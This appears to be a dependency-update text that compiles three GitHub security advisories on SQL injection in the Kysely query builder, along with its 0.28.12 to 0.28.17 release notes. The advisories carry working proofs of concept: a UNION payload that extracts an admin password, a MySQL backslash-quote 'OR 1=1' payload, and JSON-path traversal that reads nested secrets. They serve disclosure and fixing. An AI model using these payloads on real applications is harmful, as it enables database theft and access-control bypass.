Details

Summary

Kysely through 0.28.11 has a SQL injection vulnerability in JSON path compilation for MySQL and SQLite dialects. The visitJSONPathLeg() function appends user-controlled values from .key() and .at() directly into single-quoted JSON path string literals ('$.key') without escaping single quotes. An attacker can break out of the JSON path string context and inject arbitrary SQL.

This is inconsistent with sanitizeIdentifier(), which properly doubles delimiter characters for identifiers — both are non-parameterizable SQL constructs requiring manual escaping, but only identifiers are protected.

Details

visitJSONPath() wraps JSON path in single quotes ('$...'), and visitJSONPathLeg() appends each key/index value via this.append(String(node.value)) with no sanitization:

// dist/cjs/query-compiler/default-query-compiler.js
visitJSONPath(node) {
    if (node.inOperator) {
        this.visitNode(node.inOperator);
    }
    this.append("'$");
    for (const pathLeg of node.pathLegs) {
        this.visitNode(pathLeg);        // Each leg appended without escaping
    }
    this.append("'");
}
visitJSONPathLeg(node) {
    const isArrayLocation = node.type === 'ArrayLocation';
    this.append(isArrayLocation ? '[' : '.');
    this.append(String(node.value));    // <-- NO single quote escaping
    if (isArrayLocation) {
        this.append(']');
    }
}

Contrast with sanitizeIdentifier() in the same file, which properly doubles delimiter characters:

sanitizeIdentifier(identifier) {
    const leftWrap = this.getLeftIdentifierWrapper();
    const rightWrap = this.getRightIdentifierWrapper();
    let sanitized = '';
    for (const c of identifier) {
        sanitized += c;
        if (c === leftWrap) { sanitized += leftWrap; }
        else if (c === rightWrap) { sanitized += rightWrap; }
    }
    return sanitized;
}

Both identifiers and JSON path keys are non-parameterizable SQL constructs that require manual escaping. Identifiers are protected; JSON path values are not.

PostgreSQL is not affected. The branching happens in JSONPathBuilder.#createBuilderWithPathLeg() (json-path-builder.js):

• MySQL/SQLite operators (->$, ->>$) produce a JSONPathNode traversal → visitJSONPathLeg() concatenates the key directly into a single-quoted JSON path string ('$.key') — vulnerable, no escaping.
• PostgreSQL operators (->, ->>) produce a JSONOperatorChainNode traversal → ValueNode.createImmediate(value) → appendImmediateValue() → appendStringLiteral() → sanitizeStringLiteral() doubles single quotes (' → ''), generating chained operators ("col"->>'city'). Injection payload becomes a harmless string literal.

Same .key() call, different internal node creation depending on the operator type. The PostgreSQL path reuses the existing string literal sanitization; the MySQL/SQLite JSON path construction bypasses it entirely.

PoC

End-to-end proof against a real SQLite database (Kysely 0.28.11 + better-sqlite3):

const Database = require('better-sqlite3');
const { Kysely, SqliteDialect } = require('kysely');

const sqliteDb = new Database(':memory:');
sqliteDb.exec(`
  CREATE TABLE users (id INTEGER PRIMARY KEY, name TEXT, profile TEXT);
  INSERT INTO users VALUES (1, 'alice', '{"city": "Seoul", "age": 30}');
  INSERT INTO users VALUES (2, 'bob', '{"city": "Tokyo", "age": 25}');
  CREATE TABLE admin (id INTEGER PRIMARY KEY, password TEXT);
  INSERT INTO admin VALUES (1, 'SUPER_SECRET_PASSWORD_123');
`);

const db = new Kysely({ dialect: new SqliteDialect({ database: sqliteDb }) });

async function main() {
  // Safe usage
  const safe = await db
    .selectFrom('users')
    .select(eb => eb.ref('profile', '->>$').key('city').as('city'))
    .execute();
  console.log("Safe:", safe);
  // [ { city: 'Seoul' }, { city: 'Tokyo' } ]

  // Injection via .key() — exfiltrate admin password
  const malicious = `city' as "city" from "users" UNION SELECT password FROM admin -- `;
  const attack = await db
    .selectFrom('users')
    .select(eb => eb.ref('profile', '->>$').key(malicious).as('city'))
    .execute();
  console.log("Injected:", attack);
  // [ { city: 'SUPER_SECRET_PASSWORD_123' }, { city: 'Seoul' }, { city: 'Tokyo' } ]
}
main();

The payload includes as "city" from "users" to complete the first SELECT before the UNION. The -- comments out the trailing ' as "city" from "users" appended by Kysely.

Generated SQL:

select "profile"->>'$.city' as "city" from "users" UNION SELECT password FROM admin -- ' as "city" from "users"

Realistic application pattern

app.get('/api/products', async (req, res) => {
  const field = req.query.field || 'name';
  const products = await db
    .selectFrom('products')
    .select(eb => eb.ref('metadata', '->>$').key(field).as('value'))
    .execute();
  res.json(products);
});

Dynamic JSON field selection is a common pattern in search APIs, GraphQL resolvers, and admin panels that expose JSON column data.

Suggested fix

Escape single quotes in JSON path values within visitJSONPathLeg(), similar to how sanitizeIdentifier() doubles delimiter characters. Alternatively, validate that JSON path keys contain only safe characters. The direction of the fix is left to the maintainers.

Impact

SQL Injection (CWE-89) — An attacker can inject arbitrary SQL via crafted JSON key names passed to .key() or .at(), enabling UNION-based data exfiltration from any database table. MySQL and SQLite dialects are affected. PostgreSQL is not affected.

Severity

• CVSS Score: 8.2 / 10 (High)
• Vector String: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:L/A:N

References

• https://github.com/kysely-org/kysely/security/advisories/GHSA-wmrf-hv6w-mr66
• https://github.com/kysely-org/kysely/commit/0a602bff2f442f6c26d5e047ca8f8715179f6d24
• https://github.com/kysely-org/kysely/releases/tag/v0.28.12
• https://nvd.nist.gov/vuln/detail/CVE-2026-32763
• https://github.com/advisories/GHSA-wmrf-hv6w-mr66

This data is provided by the GitHub Advisory Database (CC-BY 4.0).

Details

Summary

Kysely's DefaultQueryCompiler.sanitizeStringLiteral() only escapes single quotes by doubling them (' → '') but does not escape backslashes. When used with the MySQL dialect (where NO_BACKSLASH_ESCAPES is OFF by default), an attacker can use a backslash to escape the trailing quote of a string literal, breaking out of the string context and injecting arbitrary SQL. This affects any code path that uses ImmediateValueTransformer to inline values — specifically CreateIndexBuilder.where() and CreateViewBuilder.as().

Details

The root cause is in DefaultQueryCompiler.sanitizeStringLiteral():

src/query-compiler/default-query-compiler.ts:1819-1821

protected sanitizeStringLiteral(value: string): string {
  return value.replace(LIT_WRAP_REGEX, "''")
}

Where LIT_WRAP_REGEX is defined as /'/g (line 121). This only doubles single quotes — it does not escape backslash characters.

The function is called from appendStringLiteral() which wraps the sanitized value in single quotes:

src/query-compiler/default-query-compiler.ts:1841-1845

protected appendStringLiteral(value: string): void {
  this.append("'")
  this.append(this.sanitizeStringLiteral(value))
  this.append("'")
}

This is reached when visitValue() encounters an immediate value node (line 525-527), which is created by ImmediateValueTransformer used in CreateIndexBuilder.where():

src/schema/create-index-builder.ts:266-278

where(...args: any[]): any {
  const transformer = new ImmediateValueTransformer()

  return new CreateIndexBuilder({
    ...this.#props,
    node: QueryNode.cloneWithWhere(
      this.#props.node,
      transformer.transformNode(
        parseValueBinaryOperationOrExpression(args),
        this.#props.queryId,
      ),
    ),
  })
}

The MysqlQueryCompiler (at src/dialect/mysql/mysql-query-compiler.ts:6-75) extends DefaultQueryCompiler but does not override sanitizeStringLiteral, inheriting the backslash-unaware implementation.

Exploitation mechanism:

In MySQL with the default NO_BACKSLASH_ESCAPES=OFF setting, the backslash character (\) acts as an escape character inside string literals. Given input \' OR 1=1 --:

1. sanitizeStringLiteral doubles the quote: \'' OR 1=1 --
2. appendStringLiteral wraps: '\'' OR 1=1 --'
3. MySQL interprets \' as an escaped (literal) single quote, so the string content is ' and the second ' closes the string
4. OR 1=1 -- is parsed as SQL

PoC

import { Kysely, MysqlDialect } from 'kysely'
import { createPool } from 'mysql2'

interface Database {
  orders: {
    id: number
    status: string
    order_nr: string
  }
}

const db = new Kysely<Database>({
  dialect: new MysqlDialect({
    pool: createPool({
      host: 'localhost',
      database: 'test',
      user: 'root',
      password: 'password',
    }),
  }),
})

// Simulates user-controlled input reaching CreateIndexBuilder.where()
const userInput = "\\' OR 1=1 --"

const query = db.schema
  .createIndex('orders_status_index')
  .on('orders')
  .column('status')
  .where('status', '=', userInput)

// Compile to see the generated SQL
const compiled = query.compile()
console.log(compiled.sql)
// Output: create index `orders_status_index` on `orders` (`status`) where `status` = '\'' OR 1=1 --'
//
// MySQL parses this as:
//   WHERE `status` = '\'   ← string literal containing a single quote
//   ' OR 1=1 --'          ← injected SQL (OR 1=1), comment eats trailing quote

To verify against a live MySQL instance:

-- Setup
CREATE DATABASE test;
USE test;
CREATE TABLE orders (id INT PRIMARY KEY, status VARCHAR(50), order_nr VARCHAR(50));
INSERT INTO orders VALUES (1, 'active', '001'), (2, 'cancelled', '002');

-- The compiled query from Kysely with injected payload:
-- This returns all rows instead of filtering by status
SELECT * FROM orders WHERE status = '\'' OR 1=1 -- ';

Impact

• SQL Injection: An attacker who controls values passed to CreateIndexBuilder.where() or CreateViewBuilder.as() can inject arbitrary SQL statements when the application uses the MySQL dialect.
• Data Exfiltration: Injected SQL can read arbitrary data from the database using UNION-based or subquery-based techniques.
• Data Modification/Destruction: Stacked queries or subqueries can modify or delete data.
• Authentication Bypass: If index creation or view definitions are influenced by user input in application logic, the injection can alter query semantics to bypass access controls.

The attack complexity is rated High (AC:H) because exploitation requires an application to pass untrusted user input into DDL schema builder methods, which is an atypical but not impossible usage pattern. The CreateIndexBuilder.where() docstring (line 247) notes "Parameters are always sent as literals due to database restrictions" without warning about the security implications.

Recommended Fix

MysqlQueryCompiler should override sanitizeStringLiteral to escape backslashes before doubling quotes:

src/dialect/mysql/mysql-query-compiler.ts

const LIT_WRAP_REGEX = /'/g
const BACKSLASH_REGEX = /\\/g

export class MysqlQueryCompiler extends DefaultQueryCompiler {
  // ... existing overrides ...

  protected override sanitizeStringLiteral(value: string): string {
    // Escape backslashes first (\ → \\), then double single quotes (' → '')
    // MySQL treats backslash as an escape character by default (NO_BACKSLASH_ESCAPES=OFF)
    return value.replace(BACKSLASH_REGEX, '\\\\').replace(LIT_WRAP_REGEX, "''")
  }
}

Alternatively, the library could use parameterized queries for these DDL builders where the database supports it, avoiding string literal interpolation entirely. For databases that don't support parameters in DDL statements, the dialect-specific compiler must escape all characters that have special meaning in that dialect's string literal syntax.

Severity

• CVSS Score: 8.1 / 10 (High)
• Vector String: CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:H/I:H/A:H

References

• https://github.com/kysely-org/kysely/security/advisories/GHSA-8cpq-38p9-67gx
• https://nvd.nist.gov/vuln/detail/CVE-2026-33468
• https://github.com/advisories/GHSA-8cpq-38p9-67gx

This data is provided by the GitHub Advisory Database (CC-BY 4.0).

Details

Summary

Kysely 0.28.12 added a sanitizeStringLiteral() call inside DefaultQueryCompiler.visitJSONPathLeg (commit 0a602bf, PR #​1727) to fix CVE-2026-32763 (GHSA-wmrf-hv6w-mr66). The fix only doubles single quotes (' → ''); it does not escape JSON-path metacharacters (., [, ], *, **, ?). When attacker-controlled input flows into eb.ref(col, '->$').key(input) or .at(input) — including type-safe code where the JSON column is shaped like Record<string, T> so K extends string is the inferred type — every dot becomes a path-leg separator, letting an attacker traverse from the intended key into sibling and child fields the developer never meant to expose. The result is read access (and, in update statements, write access) to JSON sub-fields outside the intended scope across MySQL, PostgreSQL ->$/->>$, and SQLite.

• Project: Kysely — TypeScript SQL query builder (npm kysely); affects MySQL, PostgreSQL ->$/->>$, and SQLite dialects.
• Source reviewed: kysely-org/kysely @​ master (73192e4, version 0.28.16).
• Deployed artefact validated: kysely@0.28.16 from npm.
• Affected file(s):
  • src/query-compiler/default-query-compiler.ts (lines 1611–1639, 1821–1823)
  • src/query-builder/json-path-builder.ts (lines 93–196)
  • src/dialect/mysql/mysql-query-compiler.ts (overrides sanitizeStringLiteral but inherits the same behaviour for path legs — escapes \ and ', nothing else)
• CWE: CWE-89 — Improper Neutralization of Special Elements used in an SQL Command, with CWE-915 / CWE-1284 (improper validation of specified quantity in input) flavours for the JSON-path sub-language.
• OWASP 2021: A03:2021 — Injection.

Vulnerable code

src/query-compiler/default-query-compiler.ts:1625-1639:

protected override visitJSONPathLeg(node: JSONPathLegNode): void {
  const isArrayLocation = node.type === 'ArrayLocation'

  this.append(isArrayLocation ? '[' : '.')      // (1)

  this.append(
    typeof node.value === 'string'
      ? this.sanitizeStringLiteral(node.value)  // (2)
      : String(node.value),
  )

  if (isArrayLocation) {
    this.append(']')
  }
}

src/query-compiler/default-query-compiler.ts:1821-1823:

protected sanitizeStringLiteral(value: string): string {
  return value.replace(LIT_WRAP_REGEX, "''")    // (3)
}

with LIT_WRAP_REGEX = /'/g.

src/query-builder/json-path-builder.ts:151-167:

key<
  K extends any[] extends O
    ? never
    : O extends object
      ? keyof NonNullable<O> & string
      : never,
  O2 = undefined extends O
    ? null | NonNullable<NonNullable<O>[K]>
    : null extends O
      ? null | NonNullable<NonNullable<O>[K]>
      : // when the object has non-specific keys, e.g. Record<string, T>, should infer `T | null`!
        string extends keyof NonNullable<O>
        ? null | NonNullable<NonNullable<O>[K]>
        : NonNullable<O>[K],
>(key: K): TraversedJSONPathBuilder<S, O2> {
  return this.#createBuilderWithPathLeg('Member', key)  // (4)
}

src/query-builder/json-path-builder.ts:169-196:

#createBuilderWithPathLeg(
  legType: JSONPathLegType,
  value: string | number,                                // (5)
): TraversedJSONPathBuilder<any, any> {
  // ...
  return new TraversedJSONPathBuilder(
    JSONPathNode.cloneWithLeg(
      this.#node,
      JSONPathLegNode.create(legType, value),            // (6)
    ),
  )
}

At (1) the compiler emits the path-leg separator — . for member access or [ for array index. At (2) the user-supplied string is run through sanitizeStringLiteral, which at (3) only doubles single quotes ('). Dots, brackets, asterisks, double-asterisks and question marks — every reserved character of the SQL/JSON path mini-language — pass through unmodified.

At (4) .key(K) types K as keyof NonNullable<O> & string. When the JSON column is typed as Record<string, T> (a common shape for free-form metadata blobs) the inferred K is just string, so attacker-controlled input is type-safe and does not need a Kysely<any> escape hatch — this finding is broader than GHSA-wmrf-hv6w-mr66 (CVE-2026-32763), which only covered the Kysely<any> case. At (5)/(6) the runtime accepts any string | number regardless of legType, so a string sent into .at(...) ('last'/'#-N' per the public type signature) also reaches the same emitter and can carry ] to break out of the bracket.

The fix at 0a602bf only addressed the single-quote → string-literal escape. The JSON-path metacharacter set was overlooked.

MysqlQueryCompiler.sanitizeStringLiteral (src/dialect/mysql/mysql-query-compiler.ts:47-51) overrides the helper to also escape backslashes — but again, it does nothing for . [ ] * ** ?.

Reproduction (validated locally)

Environment: kysely@0.28.16 + better-sqlite3@​12.x, Node 22, on macOS. The PoC harness lives in /Users/admin/joplin_research/kysely-poc/.

Step 1 — Compiled-SQL evidence across all three dialects

/Users/admin/joplin_research/kysely-poc/poc.mjs (no DB, just .compile()):

$ node poc.mjs
===== MySQL =====

--- baseline: .key("nick") ---
SQL:     select `profile`->'$.nick' as `out` from `person`

--- INJECTION via .key(ATTACKER) -- "nick.secret_field" ---
SQL:     select `profile`->'$.nick.secret_field' as `out` from `person`

--- INJECTION via .key("*") -- wildcard reaches all keys ---
SQL:     select `profile`->'$.*' as `out` from `person`

--- INJECTION via .at(ATTACKER3) -- bracket escape ---
SQL:     select `profile`->'$[].secret]' as `out` from `person`

===== PostgreSQL (->$ uses jsonpath, MySQL-like) =====

--- baseline: .key("nick") ---
SQL:     select "profile"->'$.nick' as "out" from "person"

--- INJECTION via .key(ATTACKER) ---
SQL:     select "profile"->'$.nick.secret_field' as "out" from "person"

===== SQLite =====

--- baseline: .key("nick") ---
SQL:     select "profile"->>'$.nick' as "value" from "person"

--- INJECTION via .key(ATTACKER) ---
SQL:     select "profile"->>'$.nick.secret_field' as "out" from "person"

--- INJECTION via .key("*") ---
SQL:     select "profile"->>'$.*' as "out" from "person"

The compiled SQL clearly shows the dot inside the user-supplied "key" being interpreted by the database as a path separator: '$.nick' (one leg) becomes '$.nick.secret_field' (two legs). MySQL additionally accepts * as a wildcard reaching every member at the current level.

Step 2 — End-to-end data disclosure on a real database

/Users/admin/joplin_research/kysely-poc/sqlite-runtime.mjs simulates a typical handler that reads one top-level field of the caller's profile:

async function fetchProfileField(userInput) {
  return db.selectFrom('me')
    .select(eb => eb.ref('profile', '->>$').key(userInput).as('value'))
    .where('id', '=', 1)
    .execute()
}

The me.profile JSON column for user 1 is:

{
  "nick": "alice",
  "tagline": "hi",
  "internal": {
    "ssn": "111-11-1111",
    "token": "tok_abcdef",
    "admin": true
  }
}

The developer's intent: only top-level keys (nick, tagline) are ever requested. internal is private bookkeeping.

$ node sqlite-runtime.mjs
===== Legitimate request =====
userInput = "nick"
  compiled SQL:  select "profile"->>'$.nick' as "value" from "me" where "id" = ?
  result:        [ { value: 'alice' } ]

===== Injection: dot lets attacker reach nested "internal" object =====
userInput = "internal.ssn"
  compiled SQL:  select "profile"->>'$.internal.ssn' as "value" from "me" where "id" = ?
  result:        [ { value: '111-11-1111' } ]

userInput = "internal.token"
  compiled SQL:  select "profile"->>'$.internal.token' as "value" from "me" where "id" = ?
  result:        [ { value: 'tok_abcdef' } ]

userInput = "internal.admin"
  compiled SQL:  select "profile"->>'$.internal.admin' as "value" from "me" where "id" = ?
  result:        [ { value: 1 } ]

Expected vs. actual: the application invariant was "the user can only read top-level keys of their profile". The output violates that invariant — internal.ssn, internal.token, and internal.admin are returned even though internal was never meant to be addressable through this endpoint.

The same pattern is exploitable on MySQL (where * and ** wildcards make it strictly worse — a single * enumerates every sibling at the current level in one row) and on PostgreSQL when using the ->$/->>$ operators (which target MySQL-style JSON-path strings on PG ≥ 17 / via jsonb_path_query).

Impact

• Authorization bypass on JSON sub-fields. Any kysely-built query whose JSON-path key/index argument is partially or fully attacker-controlled — even in fully type-safe code where the column type is Record<string, T> — leaks data the developer believed was scoped behind the explicitly-listed key. SSNs, tokens, admin flags, internal IDs, anything stored as a nested member of the same JSON document is reachable.
• Wildcard reads on MySQL / PostgreSQL ->$. key('*') compiles to '$.*', returning the array of every value at the current depth in one round-trip. key('**') recurses across the whole document. The fix does not strip either token.
• Write access in update statements. Kysely uses the same path compiler for update().set(eb => eb.ref(col, '->$').key(input), value)-style writes (and jsonb_set helpers). An attacker who can drive both the path and the value can therefore write into nested fields they should not be able to set — for example flipping an admin flag or rewriting a nested role.
• Bypasses the recently-fixed precedent. The maintainers shipped commit 0a602bf (PR #​1727) specifically to harden this surface. That fix removed the ' (quote) primitive but left every JSON-path metacharacter alone, so the surface is still open against any caller that thought it was now safe.
• Practical bounding. The attacker needs a code path where a request-derived string lands in .key(...) or .at(...). This is a recognised pattern (filter-by-field, dynamic select for admin dashboards, Strapi-style JSON-blob columns); it is not a default kysely behaviour but is plausibly common. The vulnerable path is also exercised any time a developer writes db as Kysely<any> (covered by the older GHSA-wmrf-hv6w-mr66 advisory) — but unlike that advisory, the bug here triggers in fully-typed code on Record<string, T> columns.

Suggested fix

Treat path legs as a structured emission, not a string-literal escape. The narrowest safe patch is a dedicated sanitizeJSONPathLeg that only emits a known-good character set per leg type and rejects everything else, since JSON-path quoting differs by dialect (MySQL allows "…"-quoted member names; SQLite is more permissive but still has a grammar; PostgreSQL jsonpath is strict).

// src/query-compiler/default-query-compiler.ts
const JSON_PATH_MEMBER_OK = /^[A-Za-z_$][A-Za-z0-9_$]*$/

protected override visitJSONPathLeg(node: JSONPathLegNode): void {
  if (node.type === 'ArrayLocation') {
    this.append('[')
    if (typeof node.value === 'number') {
      this.append(String(node.value | 0))      // int-coerce
    } else if (node.value === 'last' || /^#-\d+$/.test(node.value)) {
      this.append(node.value)                  // documented dialect tokens
    } else {
      throw new Error(`invalid JSON array index: ${node.value}`)
    }
    this.append(']')
    return
  }
  // Member
  this.append('.')
  if (typeof node.value !== 'string' || !JSON_PATH_MEMBER_OK.test(node.value)) {
    // Per-dialect quoted-member escape would go here; default = reject.
    throw new Error(`invalid JSON path member: ${JSON.stringify(node.value)}`)
  }
  this.append(node.value)
}

For dialect-specific behaviour (MySQL "…"-quoted members, SQLite bracket-quoted), each dialect compiler should override the helper and apply the appropriate quoting + double-the-quote rule, the same way sanitizeIdentifier already does.

Consider also: parameterise JSON paths whenever the dialect supports it (PostgreSQL jsonb_path_query($1, $2), MySQL JSON_EXTRACT(?, ?)), so attacker-controlled keys are bound, not concatenated. Add a regression test to test/node/src/json-traversal.test.ts asserting that eb.ref('c','->$').key('a.b').compile().sql is either rejected, or emits MySQL '$."a.b"' / SQLite '$.["a.b"]' (quoted-member form), and explicitly differs from key('a').key('b').

A backstop hardening: tighten the .at() runtime to accept only number | 'last' | '#-${digits}' (matching the type signature), and tighten .key() to only accept strings that match keyof O at runtime when O is statically known.

Severity

• CVSS Score: 7.5 / 10 (High)
• Vector String: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N

References

• https://github.com/kysely-org/kysely/security/advisories/GHSA-pv5w-4p9q-p3v2
• https://github.com/kysely-org/kysely/releases/tag/v0.28.17
• https://github.com/advisories/GHSA-pv5w-4p9q-p3v2

This data is provided by the GitHub Advisory Database (CC-BY 4.0).

v0.28.17: 0.28.17

Compare Source

Hey 👋

A small batch of bug fixes. Please report any issues. 🤞😰🤞

0.29 is right around the corner. Try the latest RC version!

🚀 Features

🐞 Bugfixes

• fix: further harden JSON path .key(...) and .at(...) against SQL injections and exfiltrations. by @​igalklebanov in #​1804

📖 Documentation

• docs(returning): remove outdated SQLite alias workaround by @​aymenhmaidiwastaken in #​1793

📦 CICD & Tooling

⚠️ Breaking Changes

🐤 New Contributors

• @​aymenhmaidiwastaken made their first contribution in #​1793

What's Changed

Full Changelog: kysely-org/kysely@v0.28.16...v0.28.17

v0.28.16: 0.28.16

Compare Source

Hey 👋

A small batch of bug fixes. Please report any issues. 🤞😰🤞

0.29 is getting closer btw. 🌶️

🚀 Features

🐞 Bugfixes

• fix: FilterObject allows any defined value when query context has no tables (TB is never). by @​igalklebanov in #​1791

📖 Documentation

• add socket security badge. by @​igalklebanov in db646ac
• chore: make socket security badge reflect current specific version. by @​igalklebanov in 5597144
• support multi-entry point tsdoc without index module. by @​igalklebanov in 6998915
• fix broken tsdoc references. by @​igalklebanov in 5a0f14b

📦 CICD & Tooling

• chore(pnpm): add strictDepBuilds: true. by @​igalklebanov in 2301610
• chore: harden dependencies, pnpm. by @​igalklebanov in f4f1d9e
• chore: re-add ignore-workspace-root-check. by @​igalklebanov in ab6d00e
• add openssf scorecard. by @​igalklebanov in 521156b
• chore: bump dependencies and github actions. by @​igalklebanov in #​1789
• chore: change verifyDepsBeforeRun to "prompt". by @​igalklebanov in 20548bc

⚠️ Breaking Changes

🐤 New Contributors

What's Changed

Full Changelog: kysely-org/kysely@v0.28.15...v0.28.16

v0.28.15: 0.28.15

Compare Source

Hey 👋

The introduction of dehydration in JSON functions/helpers caused an unexpected bug for consumers that have some columns defined as '${number}', e.g. '1' | '2' (also when wrapped in ColumnType or similar). Such columns, when participating in a JSON function/helper would dehydrate to number instead of staying as string.

Why dehydrate numeric strings to numbers in the first place? Select types in kysely describe the data after underlying driver's (e.g. pg) data transformation. Some drivers transform numeric columns to strings to be safe. When these columns participate in JSON functions, they lose original column data types - drivers don't know they need to transform to string - they return as-is.

This release introduces a special helper type that wraps your column type definition and tells kysely to NOT dehydrate it in JSON functions/helpers.

import type { NonDehydrateable } from 'kysely'

interface Database {
  my_table: {
    a_column: '1' | '2' | '3', // dehydrates to `number`
    another_column: NonDehydrateable<'1' | '2' | '3'>, // stays `'1' | '2' | '3'`
    column_too: NonDehydrateable<ColumnType<'1' | '2' | '3'>> // stays `'1' | '2' | '3'`
  }
}

🚀 Features

• feat: add NonDehydrateable<T> to allow opt-out from dehydration in JSON functions/helpers. by @​igalklebanov in #​1697

🐞 Bugfixes

PostgreSQL 🐘

• fix: PostgreSQL introspector unnecessarily slow in result processing. by @​igalklebanov & @​rubenferreira97 in #​1774

📖 Documentation

• Add complex function helpers section to documentation by @​mifi & @​igalklebanov in #​1758

📦 CICD & Tooling

• chore: bump TypeScript to 6. by @​igalklebanov in #​1769
• chore: bump dependencies. by @​igalklebanov in #​1775

⚠️ Breaking Changes

🐤 New Contributors

• @​rubenferreira97 made their first contribution in #​1774

Full Changelog: kysely-org/kysely@v0.28.14...v0.28.15

v0.28.14: 0.28.14

Compare Source

Hey 👋

A small batch of bug fixes. Please report any issues. 🤞😰🤞

🚀 Features

🐞 Bugfixes

MySQL 🐬

• fix: string literals are injectable on MySQL when backslash escapes (\\') are used. by @​igalklebanov in #​1754 & 054e801

📖 Documentation

• Add Node SQLite link to dialects documentation by @​wolfie in #​1709 & #​1755
• docs: document immediate value behavior in case() then/else by @​alexchenai in #​1753

📦 CICD & Tooling

• bump deno kysely dependency. by @​igalklebanov in 9e02f3b

⚠️ Breaking Changes

🐤 New Contributors

• @​wolfie made their first contribution in #​1709
• @​alexchenai made their first contribution in #​1753

Full Changelog: kysely-org/kysely@v0.28.13...v0.28.14

v0.28.13: 0.28.13

Compare Source

Hey 👋

A small batch of bug fixes. Please report any issues. 🤞😰🤞

🚀 Features

🐞 Bugfixes

• fix: missing sideEffects: false in root package.json resulting in bigger bundles in various bundlers. by @​igalklebanov in #​1746
• fix: Insertable allows non-objects when a table has no required columns. by @​igalklebanov in #​1747

PostgreSQL 🐘

• fix: ON COMMIT clause not being output when using .as(query) in CREATE TABLE queries. by @​igalklebanov in #​1748

📖 Documentation

📦 CICD & Tooling

• chore: fix node tests tsconfig.json for TypeScript native. by @​igalklebanov in #​1749
• chore: bump dependencies. by @​igalklebanov in #​1750
• chore: bump GitHub actions. by @​igalklebanov in #​1751

⚠️ Breaking Changes

🐤 New Contributors

Full Changelog: kysely-org/kysely@v0.28.12...v0.28.13

v0.28.12: 0.28.12

Compare Source

Hey 👋

A small batch of bug fixes. Please report any issues. 🤞😰🤞

🚀 Features

🐞 Bugfixes

• fix: eb.ref(col, '->$').key(key) is injectable. by @​igalklebanov in #​1727

MySQL 🐬

• feat(mysql): Update types for mysql2@​v3.18.2 support #​1722 by @​fenichelar in #​1729

📖 Documentation

📦 CICD & Tooling

• chore: bump dependencies. by @​igalklebanov in #​1732
• chore: bump dependencies. by @​igalklebanov in #​1742

⚠️ Breaking Changes

🐤 New Contributors

• @​fenichelar made their first contribution in #​1729

Full Changelog: kysely-org/kysely@v0.28.11...v0.28.12